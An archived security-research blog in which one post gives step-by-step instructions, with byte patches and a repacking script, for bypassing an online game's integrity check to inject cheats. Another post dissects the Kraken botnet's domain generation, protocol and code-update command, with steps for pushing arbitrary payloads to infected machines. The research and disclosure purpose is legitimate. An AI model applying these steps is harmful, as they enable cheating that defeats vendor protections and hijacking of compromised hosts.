| Hacking the Pirates of the Caribbean Online MMORPG | 2008-06-23 |
My DVLabs teammates recently presented on Reverse Engineering Dynamic Languages, specifically Python, at RECON 2008. As a case study, we demonstrated hacking cheats into Disney's Pirates of the Caribbean Online game. The game has received some pretty solid reviews and boasts over 10,000 paid online players. They also have a free download available for those of you who would like to follow along. Let's take a look at some of the hilarious effects of our case study and then cover some simple technical details so that readers can reproduce to join in on the fun.
To be clear, the cheats shown below are the results of client-side modifications. No malicious actions were performed against Disney's servers.
To start things off, here are the results of a simple jump hack which allows the avatar to leap over 15 times higher than what he otherwise should:
This next video demonstrates a similar cheat, modifying our character's speed. Towards the end of the video you'll see us stop and wait for another user to run by to give you a sense of what is "normal":
Here is what the ridiculous jump height looks like from the perspective of another user:
Some side effects of the jump hack include the ability to... fly? Apparently if a character is able to leave the "sphere" of influence of their ship, the physics engine sets the avatar's Z coordinate to the height at which they moved away from the ship:
Some more flying... we can actually fly along the water faster than any ship in the game can move:
Except of course, our ship, which can travel faster than enemy's cannonballs. This is the default ship given to you in the game. We have modified the ship's speed, acceleration, ramming power, maximum crew, maximum cannons, and other fun traits:
If you're interested in the technical aspects behind these modifications, read on...
There are three files we need to worry about modifying, all located within the install directory:
- Phase1.pyd
- phase_1.mf
- Launcher1.exe
phase_1.mf is an archive containing DLLs needed during runtime, as well as a copy of Phase1.pyd. When the game is run, this file's contents are extracted and the internal Phase1.pyd overwrites the external one.
Launcher1.exe is a UPX-packed executable that contains MD5 checks to ensure integrity of the .mf and .pyd files. UPX is an executable packer commonly used by malware. However, it is quite efficient and is also used for non-malicious executables like this one. Here's an example unpacking session:
$ upx -d Launcher1.exe File size Ratio Format Name -------------------- ------ ----------- ----------- 1925120 <- 1512960 78.59% win32/pe Launcher1.exe Unpacked 1 file.
Once we've unpacked the file, we can make the 2-byte NOP patch to bypass the MD5 check, allowing us to arbitrarily modify the Python code within the other files. Here's the before:
Launcher1.exe (base address 0x400000) 00422188 E8 88 8F FE+ call std::basic_string.... 0042218D 85 C0 test eax, eax 0042218F 75 49 jnz short loc_4221DA 00422191 8D 75 94 lea esi, [ebp+var_6C]
And here's the after:
Launcher1.exe (base address 0x400000)
00422188 E8 88 8F FE+ call std::basic_string.... 0042218D 85 C0 test eax, eax 0042218F 90 nop 00422190 90 nop 00422191 8D 75 94 lea esi, [ebp+var_6C]The above code is where the Launcher does a string comparison between the calculated MD5 on disk and the MD5 value sent from the server. By overwriting the conditional jump that was there with NOP instructions, we force the check to always pass.
Now that the Launcher process ignores the integrity of the frozen Python code, we can go ahead and begin to modify the Python objects in Phase1.pyd.
The code objects within the PYD file are serialized, and while we could modify values in a hex editor for a quick and dirty cheat, there is a much more surgically precise and flexible method that we demonstrated in our presentation at REcon. The process involves deserializing and disassembling the Python code objects. You can then modify constant values, change byte code instruction logic, and re-inject the code back into the PYD. If you're interested in this method, you can peruse our slides. For the rest of you, we will continue and walk through some simple byte swap cheats that require nothing more than a hex editor.
If we load Phase1.pyd into a hex editor, or IDA, we can see string references to Python namespaces. Most of the interesting ones are suffixed with Globals. For example, pirates.reputation.ReputationGlobals, which governs experience needed to level up, pirates.economy.EconomyGlobals defines the cost of any item in the game, pirates.piratebase.PirateGlobals controls the physics of your character, including speed, acceleration, and jump height. The format of the object table within the PYD is: name, pointer, length. So, if you find a reference to a possibly interesting namespace, you can follow the pointer value to locate the serialized object. That would be where the values to change would reside.
I will cover one simple jump hack and leave the rest as an exercise for the reader. The default value for a character's speed and jump force in Pirates is 24.0. I discovered this using our AntiFreeze tool (see slides mentioned previously). For the purposes of continuing this walkthrough, here is what the disassembly of the Python code looks like that initializes the in-game character's physics attributes:
load_const 161 # '24.0' store_name 196 # "'ToonForwardFastSpeed'" load_const 161 # '24.0' store_name 197 # "'ToonJumpFastForce'" load_const 162 # '8.0' store_name 198 # "'ToonReverseFastSpeed'" load_const 163 # '120.0' store_name 199 # "'ToonRotateFastSpeed'" load_const 161 # '24.0' store_name 200 # "'ToonForwardSpeed'" load_const 161 # '24.0' store_name 201 # "'ToonJumpForce'"The code above is from a disassembled python code object stored within the PYD. The float values themselves can be found with a simple byte search. However, because of how Python code objects are structured, these data values are not necessarily next to each other within the file. Also, if you are not rebuilding the PYD's object table, any changes must not affect the size of the file. Otherwise, the game will bail while trying to deserialize the code objects.
When a float value is serialized in Python, it is stored in a string representation. So, 24.0 is stored in file as "24.0f", the "f" indicating it's a float. For the purposes of a demonstration everyone can easily follow along with, simply search Phase1.pyd for all occurrences of "24.0f". Now, if we simply replace the correct 24.0 value to, say, a 99.0 value, our character will be able to leap buildings.
After we do that, however, we also have to consider the phase_1.mf archive file. This file contains a copy of Phase1.pyd, and it overwrites our changes upon game execution. Here is a quick Python script that will copy the contents of your Phase1.pyd file into the phase_1.mf so that the changes are persistent:
#!c:\python\python.exe # # injects Phase1.pyd into phase_1.mf in parts because # the file size is too large for python to manipulate # in memory as a string.Once this has been completed, we are able to run the game and test out the injected cheat. If all went well, our character should be able to jump as depicted in the videos above. The cheats involving modification of the game economy and ship characteristics become more complicated--too complicated to attempt using simply a hex editor--but our slides give the information needed to start down that path.
pyd = file('Phase1.pyd', 'rb').read() old_mf = file('phase_1.mf', 'rb') foo = old_mf.read(1770) # index of PYD within MF foo += pyd
old_mf.seek(1770+len(pyd)) bar = old_mf.read() result = foo + bar old_mf.close() new_mf = file('phase_1.mf', 'wb') new_mf.write(result)
Hopefully you've got a basic understanding of how to mess around with this game. The demonstrated method above is a quick solution, so check out the slides if you'd like to see the "correct" way to do it. Also, keep in mind these techniques can be applied to any game written in a dynamic language due to the inherent type information requirements. For those who would like to extend the research, take a look at EVE Online, which reportedly also utilizes Python.
Originally published 2008-06-23 on the TippingPoint DVLabs blog.
| Lack of Updates | 2008-05-19 |
I've been too lazy and too busy to maintain this site. If you are interested in tracking anything recent of mine check out my home at TippingPoint:
Where I started the Zero Day Initiative: Or follow me on Twitter:| Kraken Botnet Infiltration | 2008-04-28 |
Earlier this month a number of articles surfaced on the research and disagreements with regards to the size and classification of a large bot net named Kraken. At the front line of the debate was SecureWorks and Damballa. Secureworks claims Kraken is actually Bobax and estimates the bot net to include over 185,000 compromised systems. Damballa disagrees stating that Kraken is an entirely new bot net with a size over twice as large as Storm. Semantics aside no one disagrees that Kraken/Bobax is among the largest of the known bot nets if not the largest.
Cody and I thought it would be interesting to examine Kraken with the specific goal of infiltrating the bot network. We started with a sample from Offensive Computing and working from there eventually concluded that we would indeed be able to infiltrate and take over increasingly larger portions of the Kraken bot net. Cody did most of the manual labor of protocol dissection, reverse engineering the encryption routines and eventually creating a fake Kraken server capable of overtaking a redirected zombie. His detailed write up on the reverse engineering process is available under "Owning Kraken".
The key to overtaking the botnet is understanding how the overall client-server architecture works. Kraken infected systems attempt to "phone home" to a master command and control server by systematically generating sub-domains from various dynamic DNS resolver services such as dyndns.com. By reverse engineering the list of names and successfully registering some of the sub-domains Kraken is looking for, we can emulate a server and begin to infiltrate the network zombie by zombie. Stated simply, Kraken infected systems world wide start to connect to a server we control.
We monitored Kraken connections for a period of one week (seven days). In that time we have received over 1.8 million requests from infected systems worldwide. Of these requests over 65,000 came from unique IP addresses. Here is our list of all uniquely infected IP addresses. This number still does not accurately capture the true infection count monitored. Why? Think about the systems who are constantly rebooted, assigned a new IP address and then re-connect to the command and control server. We can do better thanks to the fact that the initial request from the Kraken zombies contains an encryption key generated in such a manner that makes it constant per system but unique across systems (see "Owning Kraken" for further details). Counting at this level of granularity leaves us with 25,000 truly unique infections monitored over seven days ... and growing, we are seeing a fairly uniform number of new infections a day.
Applying a reverse DNS lookup over this set of IP addresses reveals that the bulk of the monitored infected user base is home broadband users. The source country distributions break down as follows:
The initial Kraken zombie request also contains a version field which we parsed and found to contain the following distribution:
Various estimates place the overall size of the botnet to be somewhere
between 185,000 and 600,000 zombies. This means that within a single week we would have been able to take over anywhere from 4% to 14% of the infected population ... and this is where we entered into a moral dilemma and ethical discussion. We have the ability to successfully redirect infected systems. We have the ability to provide an 'update' through the existing Kraken protocol that can simply remove the Kraken zombie (again see "Owning Kraken" for a video demonstrating this capability). Is it wrong to do so? Although this discussion is similar to that of writing "good worms" that roam the internet patching vulnerable servers, there is a key difference in that a good worm can't be stopped. Once it has been released it is a self spreading uncontrollable entity. In our specific case however we have the ability to cease at any point. It is simply a one to one relationship. An infected system connects to us, we supply a simple binary to kill the target process, we never hear from the infected system again and neither can the actual botnet owners command and control servers.
Cody and I both are pro "cleansing". Dave Endler on the other hand is against. The arguments for pro-cleansing are obvious, the arguments against are a little more complicated. The most interesting of points that Dave brought up is the corner case of what happens if we accidentally crash the target system? What if that target system is responsible for someone's life support? Yes the system is already infected with a SPAM delivering zombie capable of receiving arbitrary updates from malicious actors, but at least for now it's running and carrying out the rest of it's functionality. As director of DVLabs, Dave's opinion overshadows that of our own so we simply sit and monitor. What are your personal thoughts on the matter?
Owning Kraken Zombies, a Detailed Dissection
This dissection was written by Cody Pierce and published alongside the post above.
This blog contains the deep technical dive of a two-part blog series exploring the Kraken botnet. See "Kraken Botnet Infiltration" for more information regarding general statistics and observations of the botnet.Disclaimer: I don't normally deal with malicious code analysis. My main focuses are on vulnerability discovery and general reversing so dedicating some time to analyzing Kraken was a new and interesting experience. There are many resources available on malware unpacking, PE import table reconstruction etc. so I'll skip right to the specifics of the sample. The offsets and analysis shown below are from sample 31b68fe29241d172675ca8c59b97d4f4 from Offensive Computing.
When Kraken first starts it enters an infinite loop trying to locate a master (command and control) server on UDP port 447 over a custom encrypted protocol. The contacted hostnames all reside with dynamic DNS providers with a randomly generated sub-domain. Here is a look at the function responsible for algorithmically generating the domains to connect to, keep a close eye on the second argument which is used as the seed in the generation process:
.text:001AE810 mov esi, [ebp+seed] .text:001AE813 sar esi, 1 .text:001AE815 add esi, 0F424Fh .text:001AE81B push edi .text:001AE81C lea ecx, [ebp+var_10] .text:001AE81F mov [ebp+seed], esi ... .text:001AE83D lea ecx, [esi+7] .text:001AE840 lea eax, [esi+0Ch] .text:001AE843 imul eax, ecx .text:001AE846 imul eax, esi .text:001AE849 cdq .text:001AE84A pop ecx .text:001AE84B idiv ecx .text:001AE84D lea ecx, [esi+1] .text:001AE850 imul ecx, esi .text:001AE853 lea ecx, [eax+ecx-0FCFBF88h] .text:001AE85A jmp short loc_1AE87C ... .text:001AE87C imul ecx, 41C64E6Dh .text:001AE882 mov edi, 3093h .text:001AE887 add ecx, edi .text:001AE889 mov eax, ecx .text:001AE88B imul ecx, 41C64E6Dh .text:001AE891 add ecx, edi .text:001AE893 ror eax, 8 .text:001AE896 mov edx, ecx .text:001AE898 imul ecx, 41C64E6Dh .text:001AE89E mov esi, 7FFFh .text:001AE8A3 and eax, esi .text:001AE8A5 ror edx, 8 .text:001AE8A8 and edx, esi .text:001AE8AA imul eax, edx .text:001AE8AD add ecx, edi .text:001AE8AF mov ebx, ecx .text:001AE8B1 ror ecx, 8 .text:001AE8B4 and ecx, esi .text:001AE8B6 sub eax, ecx .text:001AE8B8 push 6 .text:001AE8BA cdq .text:001AE8BB pop ecx .text:001AE8BC idiv ecx .text:001AE8BE add edx, ecx ...
The seed is crucial to the position in the control server list and starts at 0 on reboot. At the end of this function we see an array of domain names being access that are appended to the generated name:
.text:001AE91D push dynamic_host_names[eax*4] ; lpString .text:001AE924 lea ecx, [ebp+var_20] .text:001AE927 call makeNewString .text:001AE92C push eax .text:001AE92D push [ebp+hostname] .text:001AE930 lea eax, [ebp+var_18] .text:001AE933 push eax .text:001AE934 lea eax, [ebp+var_8] .text:001AE937 push eax .text:001AE938 lea ecx, [ebp+var_10] .text:001AE93B call concatenateStrings .data:001B5064 dynamic_host_names dd offset aDyndns_org .data:001B5064 ; "dyndns.org" .data:001B5068 dd offset aYi_org ; "yi.org" .data:001B506C dd offset aDynserv_com ; "dynserv.com" .data:001B5070 dd offset aMooo_com ; "mooo.com"
Each generated host is checked twice before moving on to the next one, here are the first 5 hosts that will attempt to be contacted:
rbqdxflojkj.mooo.com bltjhzqp.dyndns.org cffxugijxn.yi.org etllejr.dynserv.com ejfjyd.mooo.com
For those who are interested, here is a list of the first 15,000 hosts. Note that as of the time of this research the first Kraken server that was up and responding was 15th down the list afmbtgyktty.yi.org on IP address 66.29.58.119. Armed with this information we registered the first of the available hosts and immediately began getting requests from live Kraken infections in the wild. See "Kraken Botnet Infiltration" for more information regarding general statistics and observations of the botnet.
Knowing now that it is theoretically possible to overtake the Kraken network the next step is to examine the protocol. Looking through the binary there are several calls on the socket connection it makes over UDP port 447 to the control servers. All of these calls are preceded with a send to the control server with an encrypted header:
.text:001A83C5 call getEncryptionKeys .text:001A83CA mov dword ptr [esp+80h+send_buffer], eax .text:001A83CE lea eax, [esp+80h+send_buffer] .text:001A83D2 mov [esp+80h+var_2C], edx .text:001A83D6 mov [esp+80h+var_28], ebx .text:001A83DA mov [esp+80h+var_24], 1 .text:001A83DF mov [esp+80h+var_23], bl .text:001A83E3 mov [esp+80h+var_22], 137h .text:001A83EA mov [esp+80h+var_20], ebx .text:001A83EE mov [esp+80h+var_1C], ebx .text:001A83F2 call encryptHeader ... .text:001A8418 push 10h ; tolen .text:001A841A lea eax, [esp+84h+to] .text:001A841E push eax ; to .text:001A841F push ebx ; flags .text:001A8420 push 18h ; len .text:001A8422 lea eax, [esp+90h+send_buffer] .text:001A8426 push eax ; buf .text:001A8427 push [esp+94h+s] ; s .text:001A842B call ds:sendto
As we can see (note that all of the symbols were manually added through reverse engineering) we get some sort of encryption key, build the header, and encrypt the header before sending. Obviously we have to figure out the encryption so we can get a better look at the command and control protocol.
I have seen some mention and packet dumps of the header on various blogs. They often state the first 8 bytes of kraken traffic is static and there is a simple reason for this. Kraken, when communicating, prepends its encryption keys so the server can properly decrypt/encrypt traffic. We can see this in the getEncryptionKeys function. It is host specific and computes the 64 bit key from various aspects of the host hardware. Abbreviated pseudo code for the function is below.
mov ds:encryption_key_1, 0DCBA2C5Ah
mov ds:encryption_key_2, 50E41593h
GetAdaptersInfo()
while (*adapter_info != 0) {
for (i=0; i < adapter_info.AddressLength; i++) {
...
}
adapter_info = *adapter_info
}
encryption_key_uno += cpuid(0x0).max_input_value
encryption_key_dos += cpuid(0x0).inel
encryption_key_uno ^= cpuid(0x1).version
encryption_key_dos ^= cpuid(0x1).features
encryption_key_uno ^= cpuid(0x3).hi_serial
encryption_key_dos ^= cpuid(0x3).low_serial
encryption_key_uno -= GetVolumeInformation(GetWindowsDirectoryA()).VolumeSerialNumberAs previously stated we can easily get the encryption keys from the packets sent to our tap resolved from the dyndns names we registered. This is a good starting point for writing our decryption/encryption routines. At this point we know the traffic is encrypted, we know a header is sent to the remote dyndns server, and we know that in order to see into this traffic on a large scale we must decrypt the traffic. The function for decrypting our header is shown here:
.text:001AE7E4 decryptHeader .text:001AE7E4 push ecx .text:001AE7E5 mov eax, [esi+packet_data.seed] .text:001AE7E8 test eax, eax .text:001AE7EA jz short loc_1AE802 .text:001AE7EC push 1 ; flag .text:001AE7EE push eax ; seed .text:001AE7EF push [esi+packet_data.key_2] ; key_2 .text:001AE7F2 lea eax, [esi+packet_data.command] .text:001AE7F5 push [esi+packet_data.key_1] ; key_1 .text:001AE7F7 push 0Ch ; count .text:001AE7F9 push eax ; offset .text:001AE7FA call decryptPacket .text:001AE7FF add esp, 18h .text:001AE802 .text:001AE802 loc_1AE802: .text:001AE802 and dword ptr [esi+8], 0 .text:001AE806 pop ecx .text:001AE807 retn .text:001AE807 decryptHeader endp
So we call another function that is used in various places in the binary called decryptPacket passing in various data to specify what we are decrypting. The decryptPacket is a larger function that is a pretty straight forward encryption routine. It does not appear, in my opinion, to be based off of any open encryption algorithm (I will skip the details of the encryption for brevity). After writing the decryption for the header we can see more of the protocol. The first packet being sent by this bot correlates to what we saw in the disassembly above.
ac 8d ee d7 94 49 09 3f 00 00 00 00 01 00 37 01 00 00 00 00 00 00 00 00
The protocol breaks down as follows.
struct KrakenHeader {
unsigned int key_1;
unsigned int key_2;
unsigned int seed;
unsigned short command;
unsigned short version;
umsigned int size;
unsigned int crc;
unsigned char payload[size];
} kraken_header;So obviously we head off to see what the commands do. In the main command processing function we see a branch based off the command in our incoming packet.
.text:001AC170 mov eax, [esp+2C0h+command] .text:001AC174 sub eax, 7 .text:001AC177 pop ecx .text:001AC178 pop ecx .text:001AC179 jz command7 .text:001AC17F dec eax .text:001AC180 jz command8 .text:001AC186 sub eax, 10h .text:001AC189 jz command18 .text:001AC18F xor esi, esi .text:001AC191 cmp ds:dword_1B109C, ebx .text:001AC197 mov [esp+2B8h+var_2A5], bl .text:001AC19B jle short loc_1AC1D7 ...
This is certainly not a complete list of the commands, but it leads us to an interesting function. If we follow command8 we notice a method for updating the bots code. The code takes in an XML-like list of modules, module names, ids, etc. and from there processes the items looking for any updates. Analyzing the code reveals that the following format must be utilized to reach the code we are after:
<modules>
<module>
<version>0</version>
<name>core</name>
<moduleid>1</moduleid>
<crc>0</crc>
</module>
</modules>The reason for this is when the bot sees that a "core" module is being sent it will download said module, write it to disk, and execute it. In the code you can also determine that the values for version, moduleid, and crc are not really checked when a "core" module is being loaded (Aside from not being 0 in some cases).
At this point we realize (and confirm our assumption) that code can arbitrarily be downloaded and executed on the zombie host as long as we can receive its initial beacon. In order to demonstrate this I have removed the details but outlined the needed steps below.
- Receive initial packet from zombie (command 1)
- Send a response with the key xor'd by the server (command 2)
- Receive the zombies configuration information (command 3)
- Send a request to update our module (command 8)
- Send our module update xml to the zombie (command 0x14)
- Open a TCP connection on port 447 for the zombie to download the module
- Receive the connection from the zombie
- Send our encrypted payload to the zombie (command 0xa)
After the zombie has received the payload it decrypts it, and runs a CRC on the payload ensuring it matches what is in the header. This CRC is fairly simple and is below in Python.
for x in range(0x100):
eax = x
for x in range(8):
if (output.byte(eax) & 1) == 0:
eax >>= 1
else:
eax >>= 1
eax ^= 0xedb88320
xor_array.append(eax)
eax = ~flag
ecx = 0
for x in range(fsize):
esi = (0x00000000 | struct.unpack("<B", f[x])[0])
edx = eax
edx &= 0xff
edx ^= esi
eax = output.dword(eax) >> 8
eax ^= xor_array[edx]
crc = ~eax
return output.dword(crc)If we pass the CRC check the payload gets written to a random name in c:\windows\system32 and executed. This can be seen in the binary below.
.text:001ADE8C call openWriteFile .text:001ADE91 add esp, 0Ch .text:001ADE94 push 0FFFFFFFFh ; dwMilliseconds .text:001ADE96 push ebx ; char .text:001ADE97 push [ebp+lpCommandLine] ; lpCommandLine .text:001ADE9A call startNewProcess ; do our command
Where CommandLine is the path to our newly downloaded payload. As you can see it is certainly possible to upload new code to a bot as long as you can receive traffic from a zombie checking in. To demonstrate this I have created a video that puts all these steps into practice loading arbitrary code on a zombie host running in a VM.
The video first walks you through the code path which will be executed. The video shows two systems. The host system is responsible for emulating the Kraken server. The VMWare image is of a system infected with Kraken. In the end the video will demonstrate a custom Kraken server I have written and the Kraken zombie will eventually spawn a reverse connect back shell that I have uploaded to it via the emulated Kraken server. The shell demonstrates full control over the zombie system.
Note: The code used to accomplish the various tasks outlined in this blog are not being released for obvious reasons. If you are a security firm with legitimate reasons for further information and proof-of-concept code contact us.
Originally published 2008-04-28 on the TippingPoint DVLabs blog. Written with Cody Pierce, who also wrote the dissection.
| PyDbg Hacks | 2007-08-23 |
Just added some PyDbg based hacks to the public repository (should show up within an hour max of this post). Here is a description of what was added:
just_in_time_debugger.py
PyDbg implementation of a script that can be set as the Just-In-Time debugger. Logs the crash context to disk. I'll be blogging about / giving out a standalone executable based on this script for those of you who want to e-mail all your crash dumps to ... me ;-)
stack_integrity_monitor.py
Automatically locate the source of a stack overflow. This has already been released, just hasn't been previously part of the repo. For more info see the related blog entry.
pydbgc.py
Cody's PyDbg command line interface library. This is pretty cool, you can import it to drop a user into an interactive PyDbg shell at any point during execution. Gives you WinDbg-esque commands. One of the cooler features of this hack is that it allows you to step backwards, really.
push_pop_unpacker.py
This is a quick and dirty PyDbg implementation of a known generic technique for stopping an unpacker at OEP. This script was written during Ero and I's 2007 Reverse Engineering class at BlackHat. It took like 20 minutes to write, gotta love PyDbg.
null_selector_mem_monitor_poc.py
Pydbg implementation of skape's null selector mem-monitor technique. Read more about it on Uninformed Journal
Get all the new goodies at http://paimei.openrce.org.
Originally published 2007-08-23 on OpenRCE.
| Greatest Book Dedication Ever? | 2007-07-09 |
Not to brag or anything, but who can deny this as the greatest book dedication the world has ever seen:
Fuzzing: Brute Force Vulnerability Discovery - Dedication
If you are interested in buying the book:
Amazon
For those of you without a PDF reader, the dedication reads:
"I dedicate this book to George W. Bush, my Commander-in-Chief, whose impressive career advancement despite remedial language skills inspired me to believe that I was capable of authoring a book."
Originally published 2007-07-09 on the TippingPoint DVLabs blog.